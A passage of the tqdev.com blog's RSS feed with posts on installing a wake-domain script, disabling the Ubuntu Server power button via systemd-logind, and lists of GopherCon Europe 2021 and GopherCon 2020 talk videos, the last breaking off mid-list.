<p>Now in order to install the &ldquo;wake-domain.sh&rdquo; and &ldquo;wake-domain.service&rdquo; you can
run:</p>
<pre><code>bash install.sh
</code></pre>
<p>This will install and start the service. As always you can find the code on my
Github account:</p>
<p><a href="https://github.com/mevdschee/wake-domain.sh">https://github.com/mevdschee/wake-domain.sh</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Disable power button on Ubuntu server</title>
      <link>https://www.tqdev.com/2022-disable-power-button-on-ubuntu-server/</link>
      <pubDate>Thu, 30 Dec 2021 12:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2022-disable-power-button-on-ubuntu-server/</guid>
      <description>&lt;p&gt;My youngest son loves to play with my PC&amp;rsquo;s shiny LED-lit power button, which is
annoying at times. In Xubuntu XFCE&amp;rsquo;s &amp;ldquo;Power Manager&amp;rdquo; allows you to change the
behavior of the power button from &amp;ldquo;Ask&amp;rdquo; to &amp;ldquo;Do nothing&amp;rdquo;. I also have a
(headless) Ubuntu 20.04 LTS Server that runs my virtual machines (using KVM). I
don&amp;rsquo;t want the power button to work on that machine either. I had some trouble
finding the right setting in my web searches as Ubuntu server&amp;rsquo;s power button is
managed by Systemd.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>My youngest son loves to play with my PC&rsquo;s shiny LED-lit power button, which is
annoying at times. In Xubuntu XFCE&rsquo;s &ldquo;Power Manager&rdquo; allows you to change the
behavior of the power button from &ldquo;Ask&rdquo; to &ldquo;Do nothing&rdquo;. I also have a
(headless) Ubuntu 20.04 LTS Server that runs my virtual machines (using KVM). I
don&rsquo;t want the power button to work on that machine either. I had some trouble
finding the right setting in my web searches as Ubuntu server&rsquo;s power button is
managed by Systemd.</p>
<h3 id="disable-power-button">Disable power button</h3>
<p>Ubuntu 20.04 LTS Server uses systemd. This also means the power button behavior
is not managed by &ldquo;acpid&rdquo;, but by &ldquo;systemd-logind&rdquo;. In the man pages of
&ldquo;systemd-logind&rdquo; we find that:</p>
<blockquote>
<p>systemd-logind is a system service that manages user logins. It is responsible
for: [&hellip;] Handling of power/sleep hardware keys. -
(<a href="https://www.man7.org/linux/man-pages/man8/systemd-logind.8.html">source</a>)</p></blockquote>
<p>This service has a config file in &ldquo;/etc/systemd/logind.conf&rdquo; that has the line:</p>
<pre><code>HandlePowerKey=poweroff
</code></pre>
<p>You need to change that to:</p>
<pre><code>HandlePowerKey=ignore
</code></pre>
<p>In order to make this change effective (no reboot needed), you run:</p>
<pre><code>sudo systemctl restart systemd-logind.service
</code></pre>
<p>Now you can take the chance and try to touch the power button (fingers crossed).</p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title> GopherCon Europe 2021: videos online</title>
      <link>https://www.tqdev.com/2021-gophercon-europe-2021-videos-online/</link>
      <pubDate>Tue, 30 Nov 2021 17:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2021-gophercon-europe-2021-videos-online/</guid>
      <description>&lt;p&gt;GopherCon and GopherCon Europe are well known Go conferences. We are listing the
GopherCon Europe 2021 and conference videos. The videos are posted on the
&lt;a href=&#34;https://www.youtube.com/channel/UCxm3-iHEMy7IkU0_gwDVGAQ&#34;&gt;GopherCon Europe Youtube channel&lt;/a&gt;
and are linked below.&lt;/p&gt;
&lt;h3 id=&#34;gophercon-europe-2021&#34;&gt;GopherCon Europe 2021&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=i_MnJgt0Z6o&#34;&gt;Egon Elbre - Demystifying Technical Debt&lt;/a&gt;
[24:57]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=3-PGN23rjzA&#34;&gt;Dylan Meeus - Audio Programming with Go&lt;/a&gt;
[23:17]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=N5HRQkUW998&#34;&gt;Mathilde Raynal &amp;amp; Yolan Romailler - Quantum Resistant Native Go Programs&lt;/a&gt;
[20:19]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=FJL7RXAIJzk&#34;&gt;Adelina Simion and Xiao Liu - Best Friends Forever (BFFs): Lambda and Go Apps&lt;/a&gt;
[24:17]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=Uk1hscXhlY0&#34;&gt;Julio Guerra - Dynamic Go Instrumentation for Production Environments&lt;/a&gt;
[21:49]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=JxZL6ZEBBEg&#34;&gt;Grant Seltzer Richman - Unlocking eBPF from Go&lt;/a&gt;
[24:17]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=nNQHw_RdXvg&#34;&gt;Linus Lee - When Toy Languages Grow Up&lt;/a&gt;
[26:08]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=tn7I17XlNEI&#34;&gt;Lorna Jane Mitchell - Designing Payloads for Event-Driven Systems&lt;/a&gt;
[27:50]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=_g5mC9R9Jws&#34;&gt;Sean DuBois - Pion WebRTC&lt;/a&gt;
[22:59]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=LD3zB5rYn3I&#34;&gt;Sushant Bhadkamkar - Derisking Migrations of API Backends&lt;/a&gt;
[23:25]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=bwQS7PO6_Ho&#34;&gt;Dave Cheney - How Go Avoided the Integer Promotion Footgun&lt;/a&gt;
[25:45]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=3-8ux5n86nY&#34;&gt;Dana Scheider - Technical Writing for Developers and Engineers&lt;/a&gt;
[25:05]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=aqms5thFhYI&#34;&gt;André Eriksson - Fusing Io/Fs with Gopls&lt;/a&gt;
[26:01]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=J-ZRanuLnNs&#34;&gt;Matteo Grella - (Neural) Natural Language Processing in Go&lt;/a&gt;
[27:47]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=aqms5thFhYI&#34;&gt;André Eriksson - Fusing Io/Fs with Gopls&lt;/a&gt;
[26:01]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=3-PGN23rjzA&#34;&gt;Dylan Meeus - Audio Programming with Go&lt;/a&gt;
[23:17]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=N5HRQkUW998&#34;&gt;Mathilde Raynal &amp;amp; Yolan Romailler - Quantum Resistant Native Go Programs&lt;/a&gt;
[20:19]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=FJL7RXAIJzk&#34;&gt;Adelina Simion and Xiao Liu - Best Friends Forever (BFFs): Lambda and Go Apps&lt;/a&gt;
[24:17]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=Uk1hscXhlY0&#34;&gt;Julio Guerra - Dynamic Go Instrumentation for Production Environments&lt;/a&gt;
[21:49]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=JxZL6ZEBBEg&#34;&gt;Grant Seltzer Richman - Unlocking eBPF from Go&lt;/a&gt;
[24:17]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=nNQHw_RdXvg&#34;&gt;Linus Lee - When Toy Languages Grow Up&lt;/a&gt;
[26:08]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=tn7I17XlNEI&#34;&gt;Lorna Jane Mitchell - Designing Payloads for Event-Driven Systems&lt;/a&gt;
[27:50]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=_g5mC9R9Jws&#34;&gt;Sean DuBois - Pion WebRTC&lt;/a&gt;
[22:59]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=LD3zB5rYn3I&#34;&gt;Sushant Bhadkamkar - Derisking Migrations of API Backends&lt;/a&gt;
[23:25]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=bwQS7PO6_Ho&#34;&gt;Dave Cheney - How Go Avoided the Integer Promotion Footgun&lt;/a&gt;
[25:45]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=3-8ux5n86nY&#34;&gt;Dana Scheider - Technical Writing for Developers and Engineers&lt;/a&gt;
[25:05]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=rcsWz-gT0sI&#34;&gt;Joakim Kennedy - The Dark Side of Go: A 2020 Go Malware Round Up&lt;/a&gt;
[32:09]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=i_MnJgt0Z6o&#34;&gt;Egon Elbre - Demystifying Technical Debt&lt;/a&gt;
[24:57]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=NtBTNllI_LY&#34;&gt;Preslav Rachev - Creating Immersive Generative Art with Go&lt;/a&gt;
[27:10]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=NLXABIZ1gUQ&#34;&gt;Ricardo Ferreira - OpenTelemetry for Dummies: Instrumenting Go Apps&lt;/a&gt;
[33:39]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=ZdXDjYsH83M&#34;&gt;Samuel Davidson - CTX is Key!&lt;/a&gt;
[29:08]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=0GbI4rOCi7Q&#34;&gt;Panel - Go Security&lt;/a&gt; [56:58]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=kndOEccwF1Q&#34;&gt;Ishuah Kariuki - Terminal Emulator Basics in Golang&lt;/a&gt;
[27:29]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=Jn9po1HI-8s&#34;&gt;Valentin Deleplace - Function Inlining&lt;/a&gt;
[23:47]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=6eW-9iLAgBg&#34;&gt;Maricris Bonzo - Create Your Go Projects with TDD in Mind&lt;/a&gt;
[25:12]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=qKY102WOlew&#34;&gt;Dan Lorenc - The Dependency Jungle: Supply Chain Security and Kubernetes&lt;/a&gt;
[22:39]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=YUCLjVM8gwA&#34;&gt;Panel - Go Tooling&lt;/a&gt; [57:43]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=D1b-O_JOHcM&#34;&gt;Alan Braithwaite - Why it Takes a Team of Engineers to Process Events in RT&lt;/a&gt;
[24:36]&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;other-conference-videos&#34;&gt;Other conference videos&lt;/h3&gt;
&lt;p&gt;Did you like this post? There are more Go conference videos available, see:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>GopherCon and GopherCon Europe are well known Go conferences. We are listing the
GopherCon Europe 2021 and conference videos. The videos are posted on the
<a href="https://www.youtube.com/channel/UCxm3-iHEMy7IkU0_gwDVGAQ">GopherCon Europe Youtube channel</a>
and are linked below.</p>
<h3 id="gophercon-europe-2021">GopherCon Europe 2021</h3>
<ul>
<li><a href="https://www.youtube.com/watch?v=i_MnJgt0Z6o">Egon Elbre - Demystifying Technical Debt</a>
[24:57]</li>
<li><a href="https://www.youtube.com/watch?v=3-PGN23rjzA">Dylan Meeus - Audio Programming with Go</a>
[23:17]</li>
<li><a href="https://www.youtube.com/watch?v=N5HRQkUW998">Mathilde Raynal &amp; Yolan Romailler - Quantum Resistant Native Go Programs</a>
[20:19]</li>
<li><a href="https://www.youtube.com/watch?v=FJL7RXAIJzk">Adelina Simion and Xiao Liu - Best Friends Forever (BFFs): Lambda and Go Apps</a>
[24:17]</li>
<li><a href="https://www.youtube.com/watch?v=Uk1hscXhlY0">Julio Guerra - Dynamic Go Instrumentation for Production Environments</a>
[21:49]</li>
<li><a href="https://www.youtube.com/watch?v=JxZL6ZEBBEg">Grant Seltzer Richman - Unlocking eBPF from Go</a>
[24:17]</li>
<li><a href="https://www.youtube.com/watch?v=nNQHw_RdXvg">Linus Lee - When Toy Languages Grow Up</a>
[26:08]</li>
<li><a href="https://www.youtube.com/watch?v=tn7I17XlNEI">Lorna Jane Mitchell - Designing Payloads for Event-Driven Systems</a>
[27:50]</li>
<li><a href="https://www.youtube.com/watch?v=_g5mC9R9Jws">Sean DuBois - Pion WebRTC</a>
[22:59]</li>
<li><a href="https://www.youtube.com/watch?v=LD3zB5rYn3I">Sushant Bhadkamkar - Derisking Migrations of API Backends</a>
[23:25]</li>
<li><a href="https://www.youtube.com/watch?v=bwQS7PO6_Ho">Dave Cheney - How Go Avoided the Integer Promotion Footgun</a>
[25:45]</li>
<li><a href="https://www.youtube.com/watch?v=3-8ux5n86nY">Dana Scheider - Technical Writing for Developers and Engineers</a>
[25:05]</li>
<li><a href="https://www.youtube.com/watch?v=aqms5thFhYI">André Eriksson - Fusing Io/Fs with Gopls</a>
[26:01]</li>
<li><a href="https://www.youtube.com/watch?v=J-ZRanuLnNs">Matteo Grella - (Neural) Natural Language Processing in Go</a>
[27:47]</li>
<li><a href="https://www.youtube.com/watch?v=aqms5thFhYI">André Eriksson - Fusing Io/Fs with Gopls</a>
[26:01]</li>
<li><a href="https://www.youtube.com/watch?v=3-PGN23rjzA">Dylan Meeus - Audio Programming with Go</a>
[23:17]</li>
<li><a href="https://www.youtube.com/watch?v=N5HRQkUW998">Mathilde Raynal &amp; Yolan Romailler - Quantum Resistant Native Go Programs</a>
[20:19]</li>
<li><a href="https://www.youtube.com/watch?v=FJL7RXAIJzk">Adelina Simion and Xiao Liu - Best Friends Forever (BFFs): Lambda and Go Apps</a>
[24:17]</li>
<li><a href="https://www.youtube.com/watch?v=Uk1hscXhlY0">Julio Guerra - Dynamic Go Instrumentation for Production Environments</a>
[21:49]</li>
<li><a href="https://www.youtube.com/watch?v=JxZL6ZEBBEg">Grant Seltzer Richman - Unlocking eBPF from Go</a>
[24:17]</li>
<li><a href="https://www.youtube.com/watch?v=nNQHw_RdXvg">Linus Lee - When Toy Languages Grow Up</a>
[26:08]</li>
<li><a href="https://www.youtube.com/watch?v=tn7I17XlNEI">Lorna Jane Mitchell - Designing Payloads for Event-Driven Systems</a>
[27:50]</li>
<li><a href="https://www.youtube.com/watch?v=_g5mC9R9Jws">Sean DuBois - Pion WebRTC</a>
[22:59]</li>
<li><a href="https://www.youtube.com/watch?v=LD3zB5rYn3I">Sushant Bhadkamkar - Derisking Migrations of API Backends</a>
[23:25]</li>
<li><a href="https://www.youtube.com/watch?v=bwQS7PO6_Ho">Dave Cheney - How Go Avoided the Integer Promotion Footgun</a>
[25:45]</li>
<li><a href="https://www.youtube.com/watch?v=3-8ux5n86nY">Dana Scheider - Technical Writing for Developers and Engineers</a>
[25:05]</li>
<li><a href="https://www.youtube.com/watch?v=rcsWz-gT0sI">Joakim Kennedy - The Dark Side of Go: A 2020 Go Malware Round Up</a>
[32:09]</li>
<li><a href="https://www.youtube.com/watch?v=i_MnJgt0Z6o">Egon Elbre - Demystifying Technical Debt</a>
[24:57]</li>
<li><a href="https://www.youtube.com/watch?v=NtBTNllI_LY">Preslav Rachev - Creating Immersive Generative Art with Go</a>
[27:10]</li>
<li><a href="https://www.youtube.com/watch?v=NLXABIZ1gUQ">Ricardo Ferreira - OpenTelemetry for Dummies: Instrumenting Go Apps</a>
[33:39]</li>
<li><a href="https://www.youtube.com/watch?v=ZdXDjYsH83M">Samuel Davidson - CTX is Key!</a>
[29:08]</li>
<li><a href="https://www.youtube.com/watch?v=0GbI4rOCi7Q">Panel - Go Security</a> [56:58]</li>
<li><a href="https://www.youtube.com/watch?v=kndOEccwF1Q">Ishuah Kariuki - Terminal Emulator Basics in Golang</a>
[27:29]</li>
<li><a href="https://www.youtube.com/watch?v=Jn9po1HI-8s">Valentin Deleplace - Function Inlining</a>
[23:47]</li>
<li><a href="https://www.youtube.com/watch?v=6eW-9iLAgBg">Maricris Bonzo - Create Your Go Projects with TDD in Mind</a>
[25:12]</li>
<li><a href="https://www.youtube.com/watch?v=qKY102WOlew">Dan Lorenc - The Dependency Jungle: Supply Chain Security and Kubernetes</a>
[22:39]</li>
<li><a href="https://www.youtube.com/watch?v=YUCLjVM8gwA">Panel - Go Tooling</a> [57:43]</li>
<li><a href="https://www.youtube.com/watch?v=D1b-O_JOHcM">Alan Braithwaite - Why it Takes a Team of Engineers to Process Events in RT</a>
[24:36]</li>
</ul>
<h3 id="other-conference-videos">Other conference videos</h3>
<p>Did you like this post? There are more Go conference videos available, see:</p>
<ul>
<li><a href="https://tqdev.com/2021-gophercon-2020-videos-online">GopherCon 2020</a></li>
<li><a href="https://tqdev.com/2019-gophercon-2019-videos-online">GopherCon 2019</a></li>
<li><a href="https://tqdev.com/2018-gophercon-2018-videos-online">GopherCon 2018</a></li>
<li><a href="https://tqdev.com/2017-gophercon-2017-videos-online">GopherCon 2017</a></li>
<li><a href="https://tqdev.com/2016-gophercon-2016-videos-online">GopherCon 2016</a></li>
</ul>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>GopherCon 2020: videos online</title>
      <link>https://www.tqdev.com/2021-gophercon-2020-videos-online/</link>
      <pubDate>Sun, 28 Nov 2021 17:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2021-gophercon-2020-videos-online/</guid>
      <description>&lt;p&gt;GopherCon is the original Go conference. It debuted in 2014 and was celebrating
it&amp;rsquo;s six-year anniversary last year. The videos are posted on the
&lt;a href=&#34;https://www.youtube.com/channel/UCx9QVEApa5BKLw9r8cnOFEA&#34;&gt;Gopher Academy Youtube channel&lt;/a&gt;
and are also linked here:&lt;/p&gt;
&lt;h3 id=&#34;gophercon-2020&#34;&gt;GopherCon 2020&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=IKoSsJFdRtI&#34;&gt;Jonathan Amsterdam - Working with Errors&lt;/a&gt;
[18:11]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=uMqosPm7BPQ&#34;&gt;Carmen Andoh - Crossing the Chasm: Go for the Next Million Users&lt;/a&gt;
[23:49]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=4hxKEbWO5u0&#34;&gt;Jonathan Bodner - Go is Boring&amp;hellip; And That&amp;rsquo;s Fantastic!&lt;/a&gt;
[26:14]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=qfu6NrHzv9Q&#34;&gt;Dylan Bourque and Anthony Lee - Untangling the Monorepo: Moving to Go Modules&lt;/a&gt;
[25:53]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=AgHdVPSty7k&#34;&gt;Johan Brandhorst-Satzkorn - A Journey to Postgres Productivity with Go&lt;/a&gt;
[47:10]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=MKHI3otMjQI&#34;&gt;Kris Brandow - A Rainbow of Gophers: Building A More Diverse Community&lt;/a&gt;
[52:27]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=balVSY4Qrj0&#34;&gt;Kevin Burke - Build and Test Caching in Go&lt;/a&gt;
[25:21]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=1I1WmeSjRSw&#34;&gt;Austin Clements - Pardon the Interruption: Loop Preemption in Go 1.14&lt;/a&gt;
[24:17]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=5toTS6kSWHA&#34;&gt;Agniva De Sarker - Common Patterns for Bounds Check Elimination&lt;/a&gt;
[19:15]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=qPIB3STWXVk&#34;&gt;Jaana Dogan - Debugging Code Generation in Go&lt;/a&gt;
[43:22]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=lsZy9G8n06A&#34;&gt;Doug Donohoe - Reordering 59 Million NYT Publishing Assets Using Go and BadgerDB&lt;/a&gt;
[45:45]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=TborQFPY2IM&#34;&gt;Robert Griesemer - Typing [Generic] Go&lt;/a&gt;
[33:53]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=WNBzMtIaXwE&#34;&gt;Angelica Hill - Anyone Can Be A Gopher!&lt;/a&gt;
[33:02]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=1-gDvv54ojM&#34;&gt;Daisuke Kashiwagi - How to Write a Self-Hosted Go Compiler from Scratch&lt;/a&gt;
[31:16]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=S_1YfTfuWmo&#34;&gt;Michael Knyszek - Evolving the Go Memory Manager&amp;rsquo;s RAM and CPU Efficiency&lt;/a&gt;
[50:54]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=WgliN_9j91g&#34;&gt;L Körbes - The Quest for the Fastest Deployment Time&lt;/a&gt;
[47:46]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=wqs8n5Uk5OM&#34;&gt;Dylan Meeus - Functional Programming with Go&lt;/a&gt;
[46:05]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=bjKLArnAToA&#34;&gt;Aditya Mukerjee - করো: Translating Go to Other (Human) Languages, and Back Again&lt;/a&gt;
[34:02]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=S05f-lgY5S0&#34;&gt;Derek Parker - Deterministically Debugging Go Programs&lt;/a&gt;
[46:31]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=_fqnXY9Zss8&#34;&gt;Florin Pățan - Building an FM Radio Station with Go&lt;/a&gt;
[34:37]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=JIsUb1t6un0&#34;&gt;Brad Peabody - Go is Not Just on Your Server, it&amp;rsquo;s in Your Browser: Intro to Vugu&lt;/a&gt;
[55:09]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=mpcaJux74Qs&#34;&gt;Michael Richman - Write Once, Use Many: A Handy Package to Call Internal HTTP APIs&lt;/a&gt;
[32:39]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=OxLmd7szevI&#34;&gt;Grant Seltzer Richman - Tracing Go Programs with eBPF!&lt;/a&gt;
[53:02]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=DHVeUsrKcbM&#34;&gt;Dan Scales - Implementing Faster Defers&lt;/a&gt;
[23:14]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=DlcL92kT0Ik&#34;&gt;Travis Smith - Optimizing Performance using a VM and Go Plugins&lt;/a&gt;
[48:01]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=lxdTGNxIsm0&#34;&gt;Zac Staples - Go Make Something Real – The Potential for Go on the Factory Floor&lt;/a&gt;
[27:34]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=d5m9MJ9eLoU&#34;&gt;Alex Stockwell/Kevin Tyers - A Game Engine for 300 DEFCON Hackers to Smash&lt;/a&gt;
[36:52]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=EsPcKkESYPA&#34;&gt;Justen Walker - Safety Not Guaranteed: Calling Windows APIs using Unsafe and Syscall&lt;/a&gt;
[44:55]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=X8w4yCmAMos&#34;&gt;Ted Young - The Fundamentals of OpenTelemetry&lt;/a&gt;
[28:39]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=BNHwHLNLjLs&#34;&gt;Ask Me Anything with the Go Team&lt;/a&gt;
[48:12]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=r63PjX-GltQ&#34;&gt;Go Time Podcast Day 1 - What to Expect When You&amp;rsquo;re NOT Expecting&lt;/a&gt;
[49:42]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=wrVOF4PI3ko&#34;&gt;Go Time Podcast Day 2 - The Secret Life of Gophers&lt;/a&gt;
[1:00:18]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=upREdDuDEPE&#34;&gt;Go Time Podcast Day 3 - Go Panic! Game Show&lt;/a&gt;
[1:00:39]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=5qnIJ3L2Sc4&#34;&gt;Lightning Talks Day 1&lt;/a&gt; [44:17]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=YGREMxpodN8&#34;&gt;Lightning Talks Day 2&lt;/a&gt; [1:08:07]&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;other-conference-videos&#34;&gt;Other conference videos&lt;/h3&gt;
&lt;p&gt;Did you like this post? There are more Go conference videos available, see:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>GopherCon is the original Go conference. It debuted in 2014 and was celebrating
it&rsquo;s six-year anniversary last year. The videos are posted on the
<a href="https://www.youtube.com/channel/UCx9QVEApa5BKLw9r8cnOFEA">Gopher Academy Youtube channel</a>
and are also linked here:</p>
<h3 id="gophercon-2020">GopherCon 2020</h3>
<ul>
<li><a href="https://www.youtube.com/watch?v=IKoSsJFdRtI">Jonathan Amsterdam - Working with Errors</a>
[18:11]</li>
<li><a href="https://www.youtube.com/watch?v=uMqosPm7BPQ">Carmen Andoh - Crossing the Chasm: Go for the Next Million Users</a>
[23:49]</li>
<li><a href="https://www.youtube.com/watch?v=4hxKEbWO5u0">Jonathan Bodner - Go is Boring&hellip; And That&rsquo;s Fantastic!</a>
[26:14]</li>
<li><a href="https://www.youtube.com/watch?v=qfu6NrHzv9Q">Dylan Bourque and Anthony Lee - Untangling the Monorepo: Moving to Go Modules</a>
[25:53]</li>
<li><a href="https://www.youtube.com/watch?v=AgHdVPSty7k">Johan Brandhorst-Satzkorn - A Journey to Postgres Productivity with Go</a>
[47:10]</li>
<li><a href="https://www.youtube.com/watch?v=MKHI3otMjQI">Kris Brandow - A Rainbow of Gophers: Building A More Diverse Community</a>
[52:27]</li>
<li><a href="https://www.youtube.com/watch?v=balVSY4Qrj0">Kevin Burke - Build and Test Caching in Go</a>
[25:21]</li>
<li><a href="https://www.youtube.com/watch?v=1I1WmeSjRSw">Austin Clements - Pardon the Interruption: Loop Preemption in Go 1.14</a>
[24:17]</li>
<li><a href="https://www.youtube.com/watch?v=5toTS6kSWHA">Agniva De Sarker - Common Patterns for Bounds Check Elimination</a>
[19:15]</li>
<li><a href="https://www.youtube.com/watch?v=qPIB3STWXVk">Jaana Dogan - Debugging Code Generation in Go</a>
[43:22]</li>
<li><a href="https://www.youtube.com/watch?v=lsZy9G8n06A">Doug Donohoe - Reordering 59 Million NYT Publishing Assets Using Go and BadgerDB</a>
[45:45]</li>
<li><a href="https://www.youtube.com/watch?v=TborQFPY2IM">Robert Griesemer - Typing [Generic] Go</a>
[33:53]</li>
<li><a href="https://www.youtube.com/watch?v=WNBzMtIaXwE">Angelica Hill - Anyone Can Be A Gopher!</a>
[33:02]</li>
<li><a href="https://www.youtube.com/watch?v=1-gDvv54ojM">Daisuke Kashiwagi - How to Write a Self-Hosted Go Compiler from Scratch</a>
[31:16]</li>
<li><a href="https://www.youtube.com/watch?v=S_1YfTfuWmo">Michael Knyszek - Evolving the Go Memory Manager&rsquo;s RAM and CPU Efficiency</a>
[50:54]</li>
<li><a href="https://www.youtube.com/watch?v=WgliN_9j91g">L Körbes - The Quest for the Fastest Deployment Time</a>
[47:46]</li>
<li><a href="https://www.youtube.com/watch?v=wqs8n5Uk5OM">Dylan Meeus - Functional Programming with Go</a>
[46:05]</li>
<li><a href="https://www.youtube.com/watch?v=bjKLArnAToA">Aditya Mukerjee - করো: Translating Go to Other (Human) Languages, and Back Again</a>
[34:02]</li>
<li><a href="https://www.youtube.com/watch?v=S05f-lgY5S0">Derek Parker - Deterministically Debugging Go Programs</a>
[46:31]</li>
<li><a href="https://www.youtube.com/watch?v=_fqnXY9Zss8">Florin Pățan - Building an FM Radio Station with Go</a>
[34:37]</li>
<li><a href="https://www.youtube.com/watch?v=JIsUb1t6un0">Brad Peabody - Go is Not Just on Your Server, it&rsquo;s in Your Browser: Intro to Vugu</a>
[55:09]</li>
